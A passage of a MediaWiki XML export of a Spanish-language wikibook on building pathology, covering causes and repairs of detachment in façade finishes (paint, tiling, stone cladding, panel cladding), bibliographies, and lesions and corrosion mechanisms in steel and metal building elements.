	Analizar los agentes meteorológicos y la adecuación de la pintura a los mismos

=== Causa: ===
Variaciones dimensionales del soporte, especialmente en soportes elásticos como son el metal y la madera, esta última es la que plantea un mayor problema al ser un material muy heterogéneo con lo que sus dilataciones y contracciones también lo son.

=== Reparación: ===
Utilización de pintura elástica que se adapte las variaciones de tamaño del soporte.

=== Causa: ===
	Dilatación de elementos infiltrados

=== Reparación: ===
	Descubrir la vía de infiltración, eliminarla y reponer la pintura.

=== Causa: ===
	Humedad  excesiva en el soporte		

Reparación:
	Aplicación de secados acelerados

=== Causa: ===
Falta de adherencia por, insuficiente porosidad en soporte, suciedad, o incompatibilidad química entre pintura y soporte
	
=== Reparación: ===
	Aplicar imprimaciones de limpieza o de adherencia.

{{AutoCat}}</text>
      <sha1>pbqt0vkmdfzg1np2sg9xknhb5j35ubj</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Alicatados</title>
    <ns>0</ns>
    <id>13564</id>
    <revision>
      <id>430028</id>
      <parentid>418012</parentid>
      <timestamp>2026-08-02T10:39:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430028</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2402" sha1="r537bc13c3kga3o8g6bgukxmy4oit82" xml:space="preserve">Denominamos así al acabado a base de plaquetas cerámicas u otro material pétreo, utilizado tanto en interiores como en exteriores.


== Su proyecto y ejecución debe tener en cuenta: ==


•	Si es posible evitar las juntas a hueso ya que son más susceptibles a la penetración de agua y fomentan los esfuerzos cortantes por dilatación de las piezas. Siendo mucho mejores las juntas abiertas, por lo ya mencionado, porque tienen mejor adherencia, y porque presentan continuidad en el mortero de agarre evitando las pelladas propias de las juntas a hueso.

•	Juntas de retracción modulares

•	Rigidez, humedad y rugosidad suficiente en el soporte

•	Piezas especiales para áreas problemáticas como son bordes y cambios de planos


== Causas y reparaciones de los principales desprendimientos ==

Su sistema de sujeción es por adherencia continua mediante el uso de morteros o cementos cola, con lo que se distinguen cuatro causas principales de desprendimiento que suelen actuar combinadas en mayor o menor medida.


=== Causa: ===
[[Imagen:desprendimiento por dilataciones higro termicas.jpg|thumb|Figura 4.]]
Variaciones dimensionales  por cambios de temperatura, lo que en el caso de existir juntas a hueso tiene el componente añadido de que las dilataciones resultan acumulativas al ir empujándose unos elementos a otros hasta que el esfuerzo resultante provoca el desprendimiento de la plaqueta (fig4) por cortante. Si además se encuentran cerca de un borde, el desprendimiento es aun mas frecuente.

=== Reparación: ===
[[Imagen:junta con elastomero.jpg|thumb|Figura 5.]]
[[Imagen:junta con perfil en u.jpg|thumb|left|Figura 6.]]
Demolición total y reposición con juntas abiertas
Demolición parcial e introducción de juntas de retracción modulares, que pueden ser, de mortero, de material elastómero (fig5), o con perfil metálico (fig6).

=== Causa: ===	    
Helada de agua generalmente localizada en la junta superficial exterior.
Reparación:
Eliminación del agua y de su foco de filtración y sustitución de las piezas dañadas.
		
=== Causa: ===
	Movimientos del soporte

=== Reparación: ===
Demolición total o parcial y sustitución con incorporación de juntas donde sea necesario.

=== Causa:===
Fallo de adherencia, suele ser generalizado a todo el acabado y deberse a un fallo de ejecución.
=== Reparación: ===
	Demolición y nueva ejecución.

{{AutoCat}}</text>
      <sha1>r537bc13c3kga3o8g6bgukxmy4oit82</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Chapados</title>
    <ns>0</ns>
    <id>13565</id>
    <revision>
      <id>430024</id>
      <parentid>418000</parentid>
      <timestamp>2026-08-02T10:36:26Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430024</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2645" sha1="4gvwthfhpaep2ciu2hdcomqfg8tjawi" xml:space="preserve">Son acabados de losa de piedra natural en el que los elementos se encuentran colgados del soporte  de forma individual no descansando unos sobre otros. Lo más común es que su sujeción se realice mediante anclajes excepto si el acabado es a baja altura y esta aplicado sobre una mampostería irregular. En este caso se puede realizar mediante adherencia dando los problemas del alicatado en mayor medida al ser las piezas de mucho más tamaño.


== Su proyección y ejecución debe tener en cuenta: ==


•	El uso de anclajes adecuados tanto por su resistencia mecánica como a la corrosión, y su correcta protección. 

•	La rigidez suficiente del soporte.

•	La creación de juntas de retracción

•	Estanqueidad

•	Características adecuadas del chapado

•	Una correcta unión entre anclaje, soporte y acabado


== Causas y reparaciones de los principales desprendimientos ==


Al estar sujeto el acabado mediante anclajes su desprendimiento suele producirse debido a:

=== Causa: ===
Variaciones Dimensionales que como en el caso de los alicatados son acumulativas, y en este caso cuando son debidas a humedad irreversibles, según el fenómeno de la “histéresis”. Estas variaciones acaban por romper los anclajes o desprenderlos del soporte por acumulación de esfuerzos cortantes y de tracción.

=== Reparación: ===
[[Imagen:junta con perfil en u 2.jpg|thumb|Figura 7.]]
[[Imagen:junta con elastomero 2.jpg|thumb|left|Figura 8.]]
Demolición total o parcial e introducción de juntas de dilatación, que pueden ser bien con perfil en U (fig7) o mediante la  introducción de elastómero en la junta y la utilización de anclajes independientes (fig8).

=== Causa: ===
Destrucción o fallo de los anclajes por, ser demasiado débiles, o estar afectados por corrosión

=== Reparación: ===
Localizar vía de las infiltraciones y eliminarla, para después proceder al anclaje de las piezas desde el exterior con:

'''Anclajes puntuales:''' Mediante pernos metálicos anclados a la parte sólida del soporte 
profundizando en la propia pieza

'''Anclajes lineales:''' Mediante perfiles metálicos situados en el exterior y anclados por puntos de tal modo que las piezas se sujeten por laterales opuestos.

=== Causa: ===
		Movimiento del soporte

=== Reparación: ===
Se actúa de la misma manera que en alicatados, con la salvedad de la comprobación de los anclajes y la posibilidad de proceder al anclaje puntual de las piezas que lo requieran.

=== Causa: ===
		Rotura de pieza por debilidad o por la existencia de pelos de cantera	
=== Reparación: ===
		Sustitución y anclaje puntual de nueva pieza.

{{AutoCat}}</text>
      <sha1>4gvwthfhpaep2ciu2hdcomqfg8tjawi</sha1>
    </revision>
    <revision>
      <id>430025</id>
      <parentid>430024</parentid>
      <timestamp>2026-08-02T10:36:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430025</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2657" sha1="owmne5365sprsjaq406sbmb23hp6mxr" xml:space="preserve">Son acabados de losa de piedra natural en el que los elementos se encuentran colgados del soporte  de forma individual no descansando unos sobre otros. Lo más común es que su sujeción se realice mediante anclajes excepto si el acabado es a baja altura y esta aplicado sobre una mampostería irregular. En este caso se puede realizar mediante adherencia dando los problemas del alicatado en mayor medida al ser las piezas de mucho más tamaño.


== Su proyección y ejecución debe tener en cuenta: ==


•	El uso de anclajes adecuados tanto por su resistencia mecánica como a la corrosión, y su correcta protección. 

•	La rigidez suficiente del soporte.

•	La creación de juntas de retracción

•	Estanqueidad

•	Características adecuadas del chapado

•	Una correcta unión entre anclaje, soporte y acabado


== Causas y reparaciones de los principales desprendimientos ==


Al estar sujeto el acabado mediante anclajes su desprendimiento suele producirse debido a:

=== Causa: ===
Variaciones Dimensionales que como en el caso de los alicatados son acumulativas, y en este caso cuando son debidas a humedad irreversibles, según el fenómeno de la “histéresis”. Estas variaciones acaban por romper los anclajes o desprenderlos del soporte por acumulación de esfuerzos cortantes y de tracción.

=== Reparación: ===
[[Imagen:junta con perfil en u 2.jpg|thumb|Figura 7.]]
[[Imagen:junta con elastomero 2.jpg|thumb|left|Figura 8.]]
Demolición total o parcial e introducción de juntas de dilatación, que pueden ser bien con perfil en U (fig7) o mediante la  introducción de elastómero en la junta y la utilización de anclajes independientes (fig8).

=== Causa: ===
Destrucción o fallo de los anclajes por, ser demasiado débiles, o estar afectados por corrosión

=== Reparación: ===
Localizar vía de las infiltraciones y eliminarla, para después proceder al anclaje de las piezas desde el exterior con:

'''Anclajes puntuales:''' Mediante pernos metálicos anclados a la parte sólida del soporte 
profundizando en la propia pieza

'''Anclajes lineales:''' Mediante perfiles metálicos situados en el exterior y anclados por puntos de tal modo que las piezas se sujeten por laterales opuestos.

=== Causa: ===
		Movimiento del soporte

=== Reparación: ===
Se actúa de la misma manera que en alicatados, con la salvedad de la comprobación de los anclajes y la posibilidad de proceder al anclaje puntual de las piezas que lo requieran.

=== Causa: ===
		Rotura de pieza por debilidad o por la existencia de pelos de cantera	
=== Reparación: ===
		Sustitución y anclaje puntual de nueva pieza.

{{AutoCat}}
{{AutoCat}}</text>
      <sha1>owmne5365sprsjaq406sbmb23hp6mxr</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Aplacados</title>
    <ns>0</ns>
    <id>13566</id>
    <revision>
      <id>430029</id>
      <parentid>418002</parentid>
      <timestamp>2026-08-02T10:39:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430029</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2037" sha1="b4uiwb331f9kfr5anzglwcksn12a6og" xml:space="preserve">	Es un acabado realizado mediante la superposición de elementos superficiales de gran dimensión solapados entre sí, y sujetos mediante anclajes puntuales al soporte o a rastreles que a su vez se encuentran sujetos al soporte. Los materiales son variados, desde piedra artificial a madera en tableros, pasando por, escamas de fibrocemento, lajas de pizarra, chapas metálicas, etc…

	
== Su proyección y ejecución debe tener en cuenta: ==


•	Un diseño adecuado de anclajes con grados de libertad suficientes para asumir los importantes cambios dimensionales de las piezas

•	Un solape adecuado de las piezas asegurando su total estanqueidad. En piezas pequeñas el solape debe ser de al menos un tercio de la pieza

•	Un buen comportamiento de las piezas a flexión y compresión

•	Uniones correctas de los anclajes al soporte asegurando la total estanqueidad de estos y su protección a la corrosión.

== Causas y reparaciones de los principales desprendimientos ==

Al estar sujetos  por cuelgue mediante puntos de anclaje, los desprendimientos suelen tener lugar debido a la rotura de estos o de las propias piezas, así pues las principales causas a tener en cuenta son:

=== Causa: ===
Variaciones dimensionales, las contracciones-dilataciones de este sistema de acabado son de mayor importancia que en los chapados ya que las piezas suelen ser de mayor tamaño, y al estar solapadas la acumulación de empujes se realiza directamente sobre el anclaje.

=== Reparación: ===
Introducción de sujeciones variables si la pieza es recuperable, si no es así se sustituirán todas las afectadas. Si el afectado es el anclaje se repondrá.

=== Causa: ===
Destrucción o fallo de los anclajes por corrosión (lo mas común es que sea debido a filtraciones de agua), por fallo de estanqueidad debido al poco solape, o por error de colocación.
=== Reparación: ===
Comprobación de los anclajes, búsqueda del origen de la filtración y eliminación de  esta con posterior reposición de anclajes afectados.

{{AutoCat}}</text>
      <sha1>b4uiwb331f9kfr5anzglwcksn12a6og</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Bibliografía</title>
    <ns>0</ns>
    <id>13567</id>
    <revision>
      <id>430030</id>
      <parentid>418014</parentid>
      <timestamp>2026-08-02T10:39:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430030</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="286" sha1="r1qc4xo1zqckl8z9fnzb72vakys5anm" xml:space="preserve">=== 1.	Enciclopedia Broto de Patologías de la construcción ===

=== 2.	Patologías de fachadas urbanas__Departamento de construcción de la ETSA de Valladolid. ===

=== 3.	Patología de cerramientos y acabados arquitectónicos__Juan Monjo Carrio ===
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>r1qc4xo1zqckl8z9fnzb72vakys5anm</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/BIBLIOGRAFÍA</title>
    <ns>0</ns>
    <id>13627</id>
    <revision>
      <id>430180</id>
      <parentid>123536</parentid>
      <timestamp>2026-08-02T11:56:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430180</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1143" sha1="rdnsv14hs8bj4hiqakwgbsowghqd54t" xml:space="preserve">	

::'''BIBLIOGRAFÍA'''


:- LA HUMEDAD COMO PATOLOGÍA FRECUENTE EN LA EDIFICACIÓN. Ed. C.O.A. Y A.T.M. Madrid, 1993

:- TRATADO DE REHABILITACIÓN. TOMO 4: FACHADAS Y CUBIERTAS. Ed, Munilla-Lería , Madrid, 1998.

:- PATOLOGÍA DE CERRAMIENTOS Y ACABADOS ARQUITECTÓNICOS. Monjo Carrió, J. Ed. Munilla-Lería, Madrid 1994.

:- HUMEDADES EN LA EDIFICACIÓN. Tecnología de la arquitectura y de la construcción. Ortega Andrade, Francisco. Ed. Editan. Sevilla, 1994. 

:- MANUAL DE INSPECCIÓN TÉCNICA DE EDIFICIOS. Monjo Carrió, J.; Maldonado Ramos, L. Ed. Munilla-Lería. Madrid, 2002.

:- LESIONES EN LOS EDIFICIOS. SÍNTOMAS, CAUSAS, REPARACIÓN. Tomo 2. Ed. C.E.A.C., Barcelona, 1981 y 1983.

:- DIAGNOSIS Y CAUSAS EN PATOLOGÍA DE LA EDIFICACIÓN. M. Muñoz Hidalgo; Sevilla, 1994.

:-ENCICLOPEDIA BROTO DE PATOLOGÍAS DE LA CONSTRUCCIÓN. Elementos constructivos (I). Broto i Comuna. Edición 2006

:- PATOLOGÍA DE FACHADAS URBANAS. Departamento de construcción Escuela T.S. de Arquitectura Universidad de Valladolid. LOS AUTORES, Valladolid, 1987.


[[Patología de la edificación/Fachadas/Humedades|HUMEDADES]]

{{AutoCat}}</text>
      <sha1>rdnsv14hs8bj4hiqakwgbsowghqd54t</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras metálicas/Acero/Lesiones</title>
    <ns>0</ns>
    <id>13629</id>
    <revision>
      <id>430085</id>
      <parentid>305655</parentid>
      <timestamp>2026-08-02T11:08:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430085</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="20348" sha1="6sxrdjutao49u7d4v41xw1gw7hngf57" xml:space="preserve">----
----
=== Lesiones. Generalidades. ===
----
==== 	'''Lesiones formales''' ====
----

===== '''Deformación excesiva''' =====
----

[[Archivo:Flechapandeo.png|200px|right|thumb|Deformaciones por acciones mecánicas]]

Dado que la deformación es inherente a todos los elementos constructivos, lo que entendemos por deformación excesiva se refiere a la deformación de los elementos metálicos cuando ésta es superior a lo seguro o permisible.

Las deformaciones de los elementos mecánicos suelen estar causadas por dos tipos de acciones:

:- '''Acciones MECÁNICAS''': la deformación viene producida por una carga que, 

:::si incide sobre un elemento que trabaja a ''FLEXIÓN'', producirá ''flecha excesiva''.
:::si afecta a un elemento que trabaja a ''COMPRESIÓN'', producirá ''pandeo excesivo''.

::Las [[patología de la edificación/Estructuras metálicas/Acero/Causas materiales y mecanismos de deterioro|causas]] de estas acciones son variables.


:- '''Acciones TÉRMICAS''': la deformación es el resultado de someter al elemento metálico a elevadas temperaturas. Las [[patología de la edificación/Estructuras metálicas/Acero/Causas materiales y mecanismos de deterioro|causas]] de estas elevadas temperaturas pueden ser desde la radiación solar al fuego.

:Tanto las acciones mecánicas como las térmicas producirán deformaciones que, siempre que se sitúen por debajo del límite elástico del metal en cuestión, podrán ser reversibles. Sin embargo, tanto cargas de gran magnitud como las exposiciones al fuego prolongadas pueden producir deformaciones irreversibles que en ocasiones el edificio no puede asumir sin la necesaria [[reparación]].

===== '''Rotura dúctil''' =====
----

[[Archivo:Roturaductil.png|150px|left|thumb|Diagrama tensión-deformación de un acero dúctil]]

[[Archivo:Roturaductil2.png|150px|left|thumb|Comparativa de gráficas de tensión-deformación de varios metales]]

La rotura de la mayoría de los elementos metálicos por procesos comunes, a excepción de la fundición, viene precedida de un estado de deformación previa que, por lo general, permite la detección del problema con suficiente antelación y la acometida oportuna de medidas paliativas. 

Aún así, en ciertos elementos, la combinación de grandes cargas y secciones escasas produce rápidos procesos de deformación y rotura. Suele ser el caso de chapas y conectores.

===== '''Rotura frágil''' =====
----

[[Archivo:Desgarrolaminar.png|200px|right|thumb|Desgarro laminar]]

Existen casos concretos en los que los elementos metálicos pueden sufrir pequeñas figuraciones propias de materiales de rotura frágil y no dúctil, como corresponde a los metales. 

:Los casos más comunes de este tipo de rotura son:

::- '''Desgarro Laminar''': rotura o fisuración en el sentido de laminación de estructuras de acero laminado que produce un dibujo escalonado con tramos longitudinales mucho mayores a los transversales. Afecta al acero por su limitada resistencia en la citada dirección, como consecuencia de la aparición de inclusiones no metálicas en el proceso de laminado. 

:::El origen o [[causa]] de esta deformación y fisuración puede encontrarse tanto en la elección del material de aportación en las soldaduras, que al retraerse puede producir tensiones en dicha dirección, como en el diseño de las uniones y nudos, que también pueden favorecer la aparición de tensiones perpendiculares a la dirección de laminación. 

::- '''Rotura por fatiga''': rotura o fisuración resultado de una modificación permanente y localizada del metal. Este proceso se ve favorecido cuando la estructura del metal presenta cristalización, que puede venir causada por un sobrecalentamiento excesivo, por ejemplo, durante el proceso de soldado. 

:::Las [[patología de la edificación/Estructuras metálicas/Acero/Causas materiales y mecanismos de deterioro|causas]] de esta modificación permanente suelen encontrarse en los dos tipos de acciones que con más frecuencia afectan a los elementos metálicos, las acciones mecánicas, que deberán ser variables a la vez que permanentes para producir la rotura por fatiga, y las acciones térmicas que produzcan movimientos de dilatación y contracción alternativos.

:Este tipo de lesiones presenta difícil [[reparación]], que en la mayoría de los casos pasa por una sustitución parcial del elemento.

===== '''Erosión''' =====
----

Desgaste o pérdida de sección producidas por el arrastre de materiales de un líquido que circula a grandes velocidades y sufre turbulencias. La erosión en estos casos supone un doble proceso, mecánico y químico al actuar conjuntamente con el proceso de [[oxidación]]. El movimiento del fluido en el interior produce el desprendimiento de las partículas de óxido, con menor resistencia, y favorecen la aparición de un nuevo proceso de oxidación.

::En el caso del cobre la erosión se ve favorecida cuando el agua es blanda y circula a elevadas temperaturas.

:Serán precisamente los factores que produzcan una elevada velocidad de circulación y las turbulencias los que [[causen]] la aparición de esta lesión.

:La [[reparación]] vuelve a pasar, casi de modo obligado, por la sustitución del segmento afectado.

----
==== '''Lesiones sustanciales''' ====
----

===== '''Oxidación''' =====
----

[[Archivo:Rust.jpg|200px|right|thumb|Oxidación de un elemento férrico]]


Reacción de la superficie de un metal con el oxígeno del aire o del agua produciendo una capa superficial de óxido metálico (vuelta al estado natural más estable de los metales no preciosos), sin capacidad portante, que puede derivar en una pérdida de capacidad resistente del elemento al verse reducida su sección. Todos aquellos factores que faciliten la acumulación de agua o humedad se establecerán como [[patología de la edificación/Estructuras metálicas/Acero/Causas materiales y mecanismos de deterioro|causas]] que la favorezcan. 

::El hierro y sus aleaciones (entre ellas los aceros) forman una capa de óxido porosa que además permite la acumulación de agua y favorece el proceso de oxidación y la aparición del fenómeno de [[corrosión electrolítica]], que se trata de forma independiente en el apartado de [[oxidación-corrosión]]. 

:::La mejor opción frente a la oxidación, cuando ésta supone una agresión hacia el elemento metálico es la [[prevención]], aunque también es posible la [reparación] cuando no se ha sido capaz de evitar su aparición y sobre todo cuando su estado es tan avanzado que supone riesgo de pérdida de la capacidad portante del elemento metálico en cuestión.

::Por otra parte, el acero CORTEN, se presenta como excepción, ya que la aleación que lo constituye da lugar a un óxido especial que se caracteriza por una mayor consistencia y unas características mecánicas capaces de proteger al resto del metal.

::Del mismo modo, en metales como el zinc, el cobre y el aluminio, la capa de óxido formada funciona como película de protección del propio metal, con lo que el proceso de oxidación tiende a estabilizarse. Por lo tanto, en muchos casos, la oxidación, más que una lesión, puede considerarse una protección preventiva. Por ello, al referirnos a esta capa en los citados metales utilizaremos el término ''autoprotección''.

:::Así, en algunos casos, podremos considerar lesión a la no formación de esta capa de autoprotección, que vendrá [[causada]] por la [[corrosión química]] producida por ciertos agentes. Como ejemplo de ello:

:::::- ''el zinc'': la formación de la autoprotección se dificulta en aguas ácidas con abundancia de cloruros y sulfatos. 

:::::- ''el cobre'': la autoprotección del cobre es soluble en contacto permanente con aguas ácidas y con una alta concentración de CO2, fenómeno que ha dado en llamarse ''cuprosolvencia''.

----

[[Archivo:Anchor's Away.jpg|thumb|200px|Corrosión en un [[ancla]].]]
[[Archivo:Corrosionarmadura.png|200px|right|thumb|Propagación de la corrosión en armadura. Célula de corrosión.]]

[[Archivo:Curvascorrosion2.png|200px|left|thumb|Curva de comportamiento de diferentes aceros en una atmosfera moderada.]]

[[Archivo:Curvascorrosion.png|200px|left|thumb|Curva de comportamiento de diferentes aceros en una atmosfera severa]]


Destrucción o descomposición de un metal producida por un agente exterior y favorecida por la presencia de un medio acuoso en contacto con ambos.

:Según la naturaleza del agente, distinguimos:

::A) '''''Corrosión química''''':= ataque de un metal por la acción de agentes químicos causantes de una serie de reacciones químicas producidas en la interfase metal-medio corrosivo y dando lugar a unos productos químicos que, si depositan en la superficie del metal, llegan, en algunos casos, a proteger al propio metal de una corrosión mayor.

::::- ''AMBIENTAL'': agresión por parte de los compuestos presentes en el aire contaminado: dióxido de azufre, dióxido de carbono, sulfatos, cloruros, cenizas y escorias.

::::- ''MATERIALES DE CONSTRUCCIÓN'': agresión por parte de otros materiales constructivos: cemento Pórtland (hidróxido sódico y potásico), morteros y pastas de cal (calcio y magnesio libres), pastas de yeso (ácidos), madera (ácidos orgánicos y sales solubles) y cementos porosos (amoniaco presente en agentes espumantes).

::::- ''SOLUCIONES QUÍMICAS'': agresión por parte de sustancias químicas ajenas a la propia construcción: productos de limpieza (sales solubles de calcio, magnesio y potasio), agua de las conducciones (cloruros, sulfatos y dióxidos de carbono).

::::- ''AGUAS ÁCIDAS'': disolución de los metales por inmersión en soluciones ácidas, que producen la redisolución de la capa de hidróxido resultado de la combinación de los iones metálicos con los hidrógenos del agua.

::::- ''AGUA DE MAR'': agresión por proximidad o contacto directo con el agua de mar (cloruros).

::::- ''MATERIA ORGÁNICA'': agresión por parte de las sustancias que producen ciertos organismos, como algas, mohos y líquenes (ácidos orgánicos y dióxido de carbono).

[[Archivo:Corrosionmetdif.png|200px|right|thumb|Corrosión en metales diferentes]]

::B) '''''Corrosión electrolítica''''': el agente agresor es otro metal de diferente potencial eléctroquímico puesto en contacto con el metal corroído a través de un medio acuoso (electrolito) que induce entre ellos un par eléctrico. Entre los elementos del par se producirá una corriente eléctrica, concretamente desde el ánodo (más negativo) al cátodo (más positivo), perdiendo el primero electrones, con la consiguiente descomposición del material, y acumulando el segundo los productos insolubles de la corrosión. 

:::La corrosión electrolítica resulta más peligrosa que la puramente química puesto que en ella los productos de la descomposición no se depositan sobre el elemento que sufre la corrosión, protegiéndolo, sino sobre el que la produce.
					
:::El proceso se favorece cuando en el agua aparecen sales contaminantes y es mayor cuanto mayor es la intensidad de corriente, bien por una elevada diferencia de potencial entre los metales o por la presencia de corrientes parásitas (por ello se recomienda la puesta a tierra de las instalaciones eléctricas).

::::El potencial eléctrico de los metales más comunes en la construcción es el siguiente:
								
::::::- C o b r e		(e: +0,344) 
::::::- H i e r r o		(e: -0,440)
::::::- Z i n c 		(e: -0,762)
::::::- A l u m i n i o	 (e: -1,670)

::::Con lo cual, la combinación de cualquier metal con uno distinto, cuando exista un medio acuoso o electrolito, provocará un par eléctrico de mayor o menor intensidad.

::::::De esta manera, la combinación en una misma instalación de conductos de cobre y acero galvanizado (recubrimiento de zinc) suele ser destructora, ya que al liberarse iones de cobre y depositarse en los tramos de tubería galvanizada se producirá la picadura de esta última por corrosión electrolítica. Las altas temperaturas favorecen este proceso.

::::::Por otro lado, también existe diferencia de potencial eléctrico entre el acero y el óxido de hierro que se forma en su superficie, de modo que la oxidación de los metales férricos favorece la aparición de corrosión electrolítica, en lo que llamamos [[oxidación-corrosión]].

::::El estudio [[preventivo]] de la junta entre dos metales diferentes se establece como primera solución. Bien es cierto que en ocasiones estas combinaciones son absolutamente necesarias y la solución de la junta extremadamente complicada, de modo que la [[causa]] de la lesión puede atribuirse, de alguna manera, a la disposición favorable a la acumulación del electrolito y la consiguiente inducción del par eléctrico.

::::La [[reparación]] pasa en muchos casos por la sustitución del elemento corroído y la recolocación evitando en lo posible la nueva formación de par galvánico.

::::::::Como casos particulares se establecen:

::::::::::- POR AIREACIÓN DIFERENCIAL: la diferencia de potencial electroquímico se produce entre dos piezas del mismo metal, cuando una de ellas se encuentra permanentemente húmeda y la otra permanentemente seca. La zona húmeda se establece como ánodo y la seca como cátodo, produciéndose una corriente de electrones desde la parte húmeda a la seca y produciendo la corrosión de la primera. 

::::::::::::En el interior de conductos puede producirse también este proceso por la obstrucción o las alteraciones del flujo, que puedan producir zonas aireadas dentro del propio conducto. 

::::::::::::Como [[patología de la edificación/Estructuras metálicas/Acero/Causas materiales y mecanismos de deterioro|causas]] fundamentales se establecerán todas aquellas que favorezcan la acumulación puntual de agua/humedad en los ambientes secos o de aire en los medios sumergidos.

::::::::::- INTERGRANULAR: aparición de pares eléctricos y corrosión puntual entre las partículas de los distintos metales de una aleación, cuando en ésta no se ha completado el proceso de unión de los mismos. 

::::::::::::Se trata del único ataque posible en el acero inoxidable. Viene causado por un defecto del material y si su efecto destructivo es importante, el único modo de [[reparación]] es la sustitución.

===== '''Oxidación-Corrosión''' =====
----

[[Archivo:Corrosionsup.png|200px|right|thumb|Esquema de la corrosión en la superficie del acero]]

Tipo de corrosión más extendida en los metales férricos, fundamentalmente el acero, en el caso de la construcción. Consiste en la formación de un par galvánico o eléctrico entre el hierro presente en el acero y el hidróxido de hierro fruto de la oxidación y que resulta tener un potencial electroquímico superior al primero. 

::El medio de intercambio de electrones (electrolito) entre ambos es el agua que se acumula en los poros de la capa de óxido. Así, el hierro presente en el acero se establece como ánodo (polo negativo) y el hidróxido de hierro como cátodo (polo positivo), produciendo una corriente de electrones del primero al segundo y causando la descomposición del acero.

::La lesión inicial, es decir, la [[oxidación]], es la que será necesario [[prevenir]] o [[reparar]] y sus [[patología de la edificación/Estructuras metálicas/Acero/Causas materiales y mecanismos de deterioro|causas]] las que habrá que evitar en todo momento.

=== '''Lesiones. Casuística.''' ===

==== '''Estructuras metálicas''' ====

===== ''Lesiones típicas'' =====

::Teniendo en cuenta que las estructuras metálicas suelen estar constituidas por elementos de acero laminado, situados en un ambiente lo suficientemente protegido de la agresiones del medio, las lesiones más frecuentes serán las siguientes:

::::[[Patología de la edificación/Estructuras metálicas/Acero/Deformación excesiva/Acciones mecánicas|Deformación excesiva. Acciones mecánicas]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Deformación excesiva/Acciones térmicas/Fuego|Deformación excesiva. Acciones térmicas. Fuego]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Rotura dúctil|Rotura dúctil]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Rotura frágil/Desgarro laminar|Rotura frágil. Desgarro Laminar]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión electrolítica/Corrosión intergranular|Corrosión. Corrosión electrolítica. Corrosión intergranular]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Oxidación-Corrosión|Oxidación-Corrosión]]

===== ''Otras lesiones'' =====

::::[[Patología de la edificación/Estructuras metálicas/Acero/Rotura frágil/Rotura por fatiga|Rotura frágil. Rotura por Fatiga]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión química|Corrosión. Corrosión química]]
::::[[Corrosión. Corrosión electrolítica]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión electrolítica/Aireación diferencial|Corrosión. Corrosión electrolítica. Aireación diferencial]]

==== '''Elementos metálicos expuestos. Fachadas y cubiertas.''' ====

===== ''Lesiones típicas'' =====

::En este caso, se emplea una mayor variedad de materiales metálicos, que además se ven sometidos a las acciones térmicas, las humedades y otras agresiones típicas de la intemperie.
	
::::[[Deformación excesiva. Acciones térmicas]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión química|Corrosión. Corrosión química]]
::::[[Corrosión. Corrosión electrolítica]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión electrolítica/Aireación diferencial|Corrosión. Corrosión electrolítica. Aireación diferencial]]

===== ''Otras lesiones'' =====
	
::::[[Patología de la edificación/Estructuras metálicas/Acero/Deformación excesiva/Acciones mecánicas|Deformación excesiva. Acciones mecánicas]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Rotura dúctil|Rotura dúctil]]
::::[[Rotura por Fatiga]]

==== '''Instalaciones hidráullicas''' ====

===== ''Lesiones típicas'' =====

::Los movimientos de dilatación-contracción serán típicos de este tipo de instalaciones, especialmente por las que circule agua a elevadas temperaturas. A su vez, también lo serán todos los derivados del contacto directo con el agua y su circulación.

::::[[Rotura por Fatiga]]
::::[[Medicina Veterinaria/Dermatología/Lesiones dermatológicas/Erosión|Erosión]]
::::[[Patología de la edificación/Estructuras metálicas/Oxidación (problemas de autoprotección)|Oxidación (problemas de autoprotección)]]
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión química|Corrosión. Corrosión química]]

===== ''Otras lesiones'' =====
	
::::[[Patología de la edificación/Estructuras metálicas/Acero/Corrosión/Corrosión electrolítica/Aireación diferencial|Corrosión. Corrosión electrolítica. Aireación diferencial]]
::::[[Corrosión. Corrosión electrolítica]]

